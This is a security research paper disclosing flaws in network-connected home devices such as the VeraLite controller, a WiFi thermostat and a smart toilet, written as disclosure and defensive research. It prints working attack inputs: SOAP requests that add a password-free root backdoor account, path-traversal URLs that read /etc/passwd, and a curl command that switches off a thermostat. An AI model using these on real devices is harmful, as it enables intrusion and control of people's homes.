Home Invasion 2.0

Attacking Network-Connected Embedded Devices

0. Abstract
1. Introduction
2. Methodology for devices evaluated
    - 2.1 Belkin WeMo switch
    - 2.2 MiCasaVerde VeraLite
    - 2.3 INSTEON Hub
    - 2.4 Karotz Smart Rabbit
    - 2.5 Linksys Media Adapter
    - 2.6 Lixil Satis Smart Toilet
    - 2.7 Radio Thermostat
    - 2.8 Sonos Bridge
3. Results
    - 3.1 Belkin WeMo switch
        - 3.1.1 Vulnerable libupnp version
        - 3.1.2 Unauthenticated UPnP actions
        - 3.1.2.1 SetBinaryState
        - 3.1.2.2 SetFriendlyName
        - 3.1.2.3 UpdateFirmware
    - 3.2 MiCasaVerde VeraLite
        - 3.2.1 Lack of authentication on web console by default
        - 3.2.2 Lack of authentication on UPnP daemon
        - 3.2.3 Path Traversal
        - 3.2.4 Insufficient Authorization Checks
        - 3.2.4.1 Firmware Update
        - 3.2.4.2 Settings backup
        - 3.2.4.3 Test Lua code
        - 3.2.5 Server Side Request Forgery
        - 3.2.6 Cross-Site Request Forgery
        - 3.2.7 Unconfirmed Authentication Bypass
        - 3.2.8 Vulnerable libupnp Version
    - 3.3 INSTEON Hub
        - 3.3.1 Lack of authentication
    - 3.4 Karotz Smart Rabbit
        - 3.4.1 Exposure of wifi network credentials unencrypted to the Karotz server
        - 3.4.2 Python module hijack in wifi setup
        - 3.4.3 Unencrypted remote API calls
    - 3.5 Linksys Media Adapter

3.5.1 Unauthenticated UPnP actions
3.6 LIXIL Satis Smart Toilet
3.6.1 Default Bluetooth PIN
3.7 Radio Thermostat
3.7.1 Unauthenticated API
3.7.2 Disclosure of WiFi passphrase in old firmware versions
3.8 SONOS Bridge
3.8.1 Support Console Information Disclosure
4. Discussion

0. Abstract

We evaluated the security of several network-connected embedded devices marketed for home use. While network connectivity is already commonplace for personal computers, mobile devices such as smartphones, printers, and digital storage units, there are a growing number of network-connected devices that do not fit these traditional categories. With some of these devices, a compromise would allow an attacker some control over the physical world, posing a different type of risk than that associated with a personal computer.

We selected our research targets based on capabilities, availability, and cost; the subset of devices selected match what might be found in each room of a modern home in 2013. We discovered exploitable flaws in nearly every device analyzed, many with a low level of difficulty for exploitation. We present exploitation techniques for each flaw discovered as well as noting the risk posed by each flaw.

We conclude with an overall assessment of the current state of security in non-traditional network-connected embedded devices that interface with the the physical world and we discuss the implications of vulnerabilities in this class of device.

1. Introduction

The first iteration of any technology is often released in an immature state. As security is not generally a functional requirement of a system, it is often overlooked in the interest of shipping a product. Our research suggests that this holds true for non-traditional network-connected devices.

The types of devices being released are varied in nature and purpose: there are network-connected door locks, electrical switches, and weight scales. There are even network-connected toilets! Given that this shift to network-controlled versions of existing technologies usually involves devices with some control over the physical world, compromise of these devices poses different and potentially serious consequences in the physical world.

We performed this research in the hopes of determining how well security is considered in these devices and what considerations, if any, need to be taken by those adopting these technologies into their homes and businesses.

2. Methodology for devices evaluated

2.1 Belkin WeMo switch

The WeMo was evaluated by launching attacks from a black-box perspective, and by eavesdropping on traffic generated by the associated iPhone application.

2.2 MiCasaVerde VeraLite

The VeraLite was evaluated by launching attacks from a black-box perspective, by analysis of the extracted squashfs firmware package, and by reviewing the source of various applications on the device itself.

2.3 INSTEON Hub

The INSTEON Hub was evaluated through black-box testing.

2.4 Karotz Smart Rabbit

The Karotz was evaluated using a combination of black-box testing, source code audit on the setup package, and documentation review.

2.5 Linksys Media Adapter

The Linksys Media Adapter was evaluated through analysis of a rom dump. The device was not evaluated directly because of a lack of availability.

2.6 Lixil Satis Smart Toilet

The Satis was evaluated by means of reverse engineering its associated Android application. The device was not evaluated directly due to a lack of availability in the United States and the prohibitive cost of purchasing the toilet.

2.7 Radio Thermostat

The Radio Thermostat was evaluated through study of its API documentation.

2.8 Sonos Bridge

The Sonos Bridge was evaluated using black-box testing techniques, and documentation review.

3. Results

3.1 Belkin WeMo switch

From the Belkin WeMo site [7]:

> “WeMo is a family of simple and customizable products that allow you to control home electronics from anywhere.”

The Belkin WeMo switch is a device that plugs into an electrical outlet and has its own built-in outlet. It connects to an 802.11 network. Dependent on the state of the WeMo switch, the device plugged into the WeMo switch is or is not provided with power. A physical button on the device and a UPnP service allow for a change in state to the device.

3.1.1 Vulnerable libupnp version

Portable SDK for UPnP version 1.6.17 and earlier are vulnerable to various remote buffer overflow attacks [5]. The Belkin WeMo uses Portable SDK for UPnP version 1.6.6.

3.1.2 Unauthenticated UPnP actions

UPnP is a remote procedure call protocol best known for its use in automated network configuration. As its original intended purpose was to allow devices without a physical interface to self-configure when attached to an IP network, it is by design without any authentication in its basic form. While there are standards for adding authentication to UPnP daemons, they are not widely deployed.

The Belkin WeMo switch allows configuration and control of the device from the local network using UPnP actions that do not require authentication.

3.1.2.1 SetBinaryState

The “basicevent” service has a UPnP action named “SetBinaryState”, which allows the unit to change to an “on” or “off” state. There is no rate limiting on the state change, so the state can be changed as rapidly as the device can respond to UPnP control requests.

3.1.2.2 SetFriendlyName

The “basicevent” service has a UPnP action named “SetFriendlyName”, which allows the name displayed in the control application to be changed.

3.1.2.3 UpdateFirmware

The “firmwareupdate” service has a UPnP action named “UpdateFirmware”, which allows new firmware to be applied to the device. While the firmware is signed, it is possible to push old firmware versions that have known flaws such as the one discussed in section 3.2.1.1.

3.2 MiCasaVerde VeraLite

From the MiCasaVerde website [6]:

> “Home control doesn't have to be complicated or expensive, so we came up with the VeraLite smart controller, which is simple and inexpensive. It may be small, but it's capable of big things!
>
> VeraLite gives you easy control over lights, cameras, thermostats, door locks alarm systems and more. Plus you easily can add intelligence to almost anything electronic in your home, and VeraLite can control them too. All the smart home benefits you've been looking for are right here in this easy, inexpensive add-on to your home network.”

The MiCasaVerde VeraLite is a low-cost home automation control unit which controls various network-connected devices via Z-Wave, INSTEON, X10, and others. Various devices the VeraLite can control include, but are not limited to: lights, electrical outlets, door locks, alarm systems, window blinds, electronically controlled relays, etc.

The VeraLite unit is controlled via the local network, or over the Internet. Each VeraLite unit connects via SSH to servers owned by MiCasaVerde, and uses SSH remote port forwarding. The main control system forwards port 80 on the local VeraLite unit to a remote port on one of the aforementioned servers. This architecture means that anyone who has access to these servers or can access the forwarded ports on these servers can access all Internet-connected VeraLite units, and potentially other Vera models.

There were a large number of flaws discovered quickly in the VeraLite, many of them very severe and easily exploited. As the vendor has refused to fix or even acknowledge these vulnerabilities, the authors consider it highly likely that this product has additional undiscovered vulnerabilities.

3.2.1 Lack of authentication on web console by default

By default, no authentication is required from the LAN to access and operate the control panel on the VeraLite. While it is possible to require authentication to operate the control panel, it is disabled in the device’s initial state.

3.2.2 Lack of authentication on UPnP daemon

Devices connected to the VeraLite can be controlled through the web-based console or through its UPnP daemon. While the web-based console can be set to require authentication, the UPnP daemon has no such option. It is also possible to execute Lua code as root on the VeraLite by using the “RunLua” UPnP action of the “HomeAutomationGateway” service. The following POST request to port 49451 (the UPnP control port) on the VeraLite will add a password-free root-equivalent user named “backdoor” on the unit:

```
POST /upnp/control/hag HTTP/1.1
Host: VERA_IP:49451
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 436
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
```

```
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
         <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">
      <DeviceNum></DeviceNum>
      <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root
Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code>
    </u:RunLua>
  </s:Body>
</s:Envelope>
```

3.2.3 Path Traversal

It is possible to retrieve the contents of any file on the VeraLite through the web interface as any authenticated user. As a guest user, this can be used to escalate privileges to an administrative user by retrieving the /etc/lighttpd.users file which contains hashed passwords for all users of the associated VeraLite. As noted in section 3.2.2, these passwords will also enable control of a VeraLite unit from the Internet. The /etc/passwd file also contains hashes for the root system user and the remote access user, if remote access has been enabled.

In the VeraLite's initial unboxed state, the path traversal bug is not exploitable as the /etc/cmh-ext/ directory doesn't exist. Using the "store_file.sh" script will create this directory. The following URL (where VERA_IP is the IP address of the VeraLite unit) can be used to cause the VeraLite to create the necessary directory:

http://VERA_IP/cgi-bin/cmh/store_file.sh?store_file=test

Once the necessary directory exists, any file can be retrieved by providing a relative path from the /etc/cmh-ext/ directory to the desired file as the "filename" parameter to the "get_file.sh" script. An example URL to retrieve the contents of the /etc/passwd file is as follows:

http://VERA_IP/cgi-bin/cmh/get_file.sh?filename=../passwd

3.2.4 Insufficient Authorization Checks

The distinction made between the Guest and Administrator level users on the VeraLite system is that Guest users should not be able to "save changes" to the Vera unit. What this means in a literal sense is that the "save" button cannot be used by a Guest level user. However, many changes and actions are available to a Guest user that can allow a Guest user to take complete control of a VeraLite unit, whereas Guest users are normally only allowed to interact with the devices already configured.

3.2.4.1 Firmware Update

Firmware for the VeraLite is unsigned and is in the form of a squashfs file. Freely available tools (mksquashfs and unsquashfs) exist to convert between a squashfs file and its component files. It is trivial to unpackage stock VeraLite firmware, modify its contents to include a backdoor, repackage, and apply the firmware to gain administrative control over a VeraLite system.

3.2.4.2 Settings backup

Backup files can be created and downloaded by Guest users. Backup files are unencrypted and contain sensitive data, including the hashed passwords for local root and remote administrative user accounts in the form of the /etc/lighttpd.users and /etc/passwd files. The following URL can be used to obtain a backup from the system:

> http://VERA_IP/cgi-bin/cmh/backup.sh?external=1

3.2.4.3 Test Lua code

Lua is a “lightweight multi-paradigm programming language” [2]. It is possible to run Lua code as root on the VeraLite system using the web interface. The following POST request will add a password-free root-equivalent user named “backdoor” to a VeraLite unit:

```
POST /port_49451/upnp/control/hag HTTP/1.1
Host: VERA_IP
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 436
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
        <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">
        <DeviceNum></DeviceNum>
        <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root
Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code>
      </u:RunLua>
  </s:Body>
</s:Envelope>
```

3.2.5 Server Side Request Forgery

It is possible to use the VeraLite as a proxy using the “proxy.sh” script, traversing network boundaries and bypassing firewall restrictions, if any exist between the attacker and the VeraLite unit. A malicious party who has access to the VeraLite control panel can map and attack the internal network in which a VeraLite is installed. It can also be used to determine the external IP address (and by GeoIP lookup, physical address) of the VeraLite unit. The following URL makes a request for trustwave.com:

http://VERA_IP/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com

3.2.6 Cross-Site Request Forgery

The VeraLite does not protect against Cross-Site Request Forgery. If a user on the same network as a VeraLite unit visits a site controlled by an attacker, the attacker can force the user to perform any action on the VeraLite unit available through the web console or UPnP daemon.

3.2.7 Unconfirmed Authentication Bypass

As discussed in section 3.2, the architecture of the VeraLite remote access system allows an attacker who can bypass the firewall on the forwarding server to gain access to all Internet-connected VeraLite units through the ports forwarded via SSH.
The forwarding servers for the Vera units have a script named “proxy.sh.php” which takes identically named and formed arguments to the “proxy.sh” script mentioned in section 3.2.5. If the same vulnerability that exists in “proxy.sh” exists in “proxy.sh.php”, it is likely possible to bypass the firewall and access any Internet-connected Vera unit without authentication.

3.2.8 Vulnerable libupnp Version

Portable SDK for UPnP version 1.6.17 and earlier are vulnerable to various remote buffer overflow attacks [5]. The MiCasaVerde VeraLite uses Portable SDK for UPnP version 1.6.6.

3.3 INSTEON Hub

From INSTEON website [4]:

> “INSTEON Hub is an INSTEON central controller for the rest of us; a simple and straightforward device that connects you to your home from any smartphone or tablet, anywhere in the world. Control INSTEON light bulbs, wall switches, outlets, and thermostats at home or remotely and receive instant email or text message alerts from motion,door and window, water leak, and smoke sensors while you’re away.”

The INSTEON Hub is a home automation gateway created by INSTEON. It allows a home user to setup a gateway where they can control lights, appliances, door bells, cameras, thermostats, and door locks. It has several mobile device applications and a cloud hosted web portal that one can use to access and control all home devices.

3.3.1 Lack of authentication

The version released in December 2012 (2422-222) does not have the ability to enable or require authentication for web service calls to the device. Previous versions allowed the user to set Basic HTTP authentication.

Any network access to the hub allows full control over all connected devices. The default method of setup requires an externally accessible port to be forwarded to the device; Anyone who can access the device can run amok in your house without the requirement of having proximity access to your home.

Message exchange example:

```
GET /sx.xml?1234AA=1900 HTTP/1.1
Host: 172.16.5.5:8001
User-Agent: INSTEON 1.1.0 rv:100 (iPhone; iPhone OS 6.0.1; en_US)
Connection: close
Accept-Encoding: gzip

HTTP/1.1 200 OK
Connection: close
Content-Type: text/xml
Cache-Control: no-cache
Access-Control-Allow-Origin: *

<?xml version="1.0" encoding="ISO-8859-1" ?>
<Xs>
<X D="1234AA250200"/>
```

```
</Xs>
```

Many of these devices can be found connected to the Internet.

3.4 Karotz Smart Rabbit

From the Karotz blog [3]:

> "Karotz is a smart, communicating, rabbit-shaped object that connects to the Internet via Wi-Fi. Karotz is the ideal companion. It's beautiful, sweet, funny, and educated. Karotz is extraordinary: It can speak, see, listen, obey, and move its ears! It will stop at nothing to make itself useful and to entertain you with a lot of applications!
>
> Karotz connects to your Wi-Fi (Ethernet connection is also possible with a USB/Ethernet adapter and Ethernet cable, sold separately) and requires PC / MAC / Linux for installation. Karotz is equipped with a camera, a voice recognition system, a loudspeaker and an RFID reader."

3.4.1 Exposure of wifi network credentials unencrypted to the Karotz server

In order to set up the Karotz for wifi use, the user is expected to enter their local wifi network information, including credentials, into the Karotz website. This is used to generate the setup package that is installed. Unfortunately, the connection to the Karotz server is not protected by SSL.

It's worth noting that the Karotz server does not need these credentials for any reason besides the generation of the setup script and that the configuration file containing the credentials is unsigned.

3.4.2 Python module hijack in wifi setup

The autorunwifi script that the Karotz uses to configure its wifi connection is signed, so changes to it result in the file failing to run. However, there exists a python module hijacking attack against the unit that allows for code execution. Simply create a simplejson.py file in the same directory as the autorunwifi script and place any python code you would like to execute within the file.

Instead of loading the simplejson library as is the expected behavior, the simplejson.py file found in the same directory as the autorunwifi script takes precedence.

3.4.3 Unencrypted remote API calls

There are two types of applications for the Karotz: hosted, and external. Hosted applications run on the Karotz itself, and external applications control the Karotz remotely through a series of API calls to http://api.karotz.com.

While an application is actively running on the Karotz, a session identifier called “interactiveid” is used to authenticate calls to the API. Since API calls are made in plaintext to the API service, this session identifier can be captured and replayed by an eavesdropping attacker.

If an application has privileges to use the integrated webcam, an attacker could take a photo or video and upload it to any server they wish.

3.5 Linksys Media Adapter

The Linksys Media Adapter connects to a home network and television, and allows media to be pushed to it for playback on the television.

3.5.1 Unauthenticated UPnP actions

The “RemoteIO” UPnP device offers a service called “RemoteInput” which exposes various actions used for controlling the interface of the Linksys Media Adapter such as “InputKeyDown” and “InputKeyUp”. No authentication is required.

3.6 LIXIL Satis Smart Toilet

The LIXIL Satis is a toilet which can be remotely controlled through an Android application which connects to the toilet via Bluetooth. The Android app can trigger various functions of the toilet, which include flushing, bidet use, music, and self-cleaning functions.

3.6.1 Default Bluetooth PIN

The LIXIL Satis Smart Toilet has a static Bluetooth PIN of “0000” hard-coded into the controlling Android application. This opens up control over the toilet to anyone who has the freely available “My Satis” Android application.

3.7 Radio Thermostat

From the Radio Thermostat website [7]:

“Whether you're at work, on vacation, or on the go, Radio Thermostat Company makes managing your home energy usage simple and fun. Our easy-to-use web and mobile applications let you heat or cool your home from anywhere in the world. When logged-in, you can raise or lower your target temperature, change modes, and edit your 7-day program. The simple idea - never let a static program turn on your heat or air conditioning when no one is home. Simply manage your thermostat from wherever you are - maximize your comfort while minimizing your cost.”

The Radio Thermostat is a thermostat which can be controlled over an 802.11 network. Temperature and programming settings can be read and modified using HTTP requests.

3.7.1 Unauthenticated API

No authentication is required to use any function of the thermostat. It is possible to completely control the thermostat, given access to the same network. For instance, to cause the air conditioning to turn off, the following request can be made via curl, where “THERMOSTAT_IP” is the IP of the thermostat:

```
curl http://THERMOSTAT_IP/tstat/tmode -d ‘ {"tmode":0}’
```

3.7.2 Disclosure of WiFi passphrase in old firmware versions

From changelog[1]: “For security precaution, we remove passphrase from GET /sys/network”

The WiFi passphrase can be retrieved in plaintext from the thermostat using the following URL on version 1.3.24, and presumably earlier versions as well:

http://THERMOSTAT_IP/sys/network

3.8 SONOS Bridge

The SONOS system is an audio system which connects to a home network to allow remote media playback to and from the SONOS system.

From the SONOS website [8]:

“The SONOS BRIDGE 100 makes setting up an all-wireless SONOS system wonderfully fast,...and easy. Instead of using a SONOS component, simply connect the BRIDGE to your router to instantly activate the SONOSNet wireless mesh network. Now all your ZonePlayers and Controllers can work wirelessly and be put anywhere in your house. It,' the ideal solution if your house doesn't have Ethernet wiring or your router is in a room where you don't want music.”

3.8.1 Support Console Information Disclosure

The SONOS bridge operates a web server for various reasons. There is a support console which can be reached at:

http://BRIDGE_IP:1400/support/

This provides various information on the SONOS system, including output from “ifconfig”, “ps”, “dmesg”, and more.

Furthermore, machines running the SONOS controller software are polled by the bridge, and their information is provided at:

http://BRIDGE_IP:1400/status/controllers

This information is also available directly from the control units themselves at:

http://CONTROLLER_IP:3400/status/

No authentication is required to query this information, and the existence of these consoles is undocumented.

4. Discussion

The authors’ research suggests that network-controlled embedded devices do not frequently take security into account in their design, especially in terms of attacks from the local network. Security measures do seem to be in place when accessing the reviewed devices from the Internet, with the notable exception of the INSTEON Hub.

Considering that many of these devices have control over the physical world, the poor security measures suggest that introducing network-controlled embedded devices into one’s home or business puts one at risk for theft or damage. If these devices must be used, the authors strongly recommend that users isolate such devices from the rest of their network and disable their remote access capabilities, if possible.

There are also privacy concerns in the compromise of these devices. Compromise of a device with a built-in microphone or camera comes with the ability to perform audio and video surveillance. Compromise of a motion sensor could be used to determine when there are people at a physical location. Reading the status of door locks and alarm systems as could be achieved by compromising the VeraLite could be used to determine when the building in which it resides is occupied.

Legally, devices that store data on third party servers also enjoy a lower level of privacy protections due to the 3rd Party Doctrine. Many of the devices in this paper fall into this category.

5. Citations

1) Radio Thermostat changelog
http://radiothermostat.com/documents/Public%20Changelog%201_3_24%20to%201_4_64%20v4.pdf

2) About Lua
http://www.lua.org/about.html#why

3) What is Karotz?
http://blog.karotz.com/?page_id=1669&lang=en

4) INSTEON Hub
http://www.insteon.com/2242-222-insteon-hub.html

5) OSVDB - Portable SDK for UPnP Devices libupnp unique_service_name() Function SSDP Request Handling Three Remote Overflows
http://osvdb.org/show/osvdb/89611

6) MiCasaVerde VeraLite
http://www.micasaverde.com/controllers/veralite/

7) Radio Thermostat - Welcome
http://www.radiothermostat.com/control.html

8) SONOS Setup and Product Details
https://sonos.custhelp.com/app/answers/detail/a_id/1052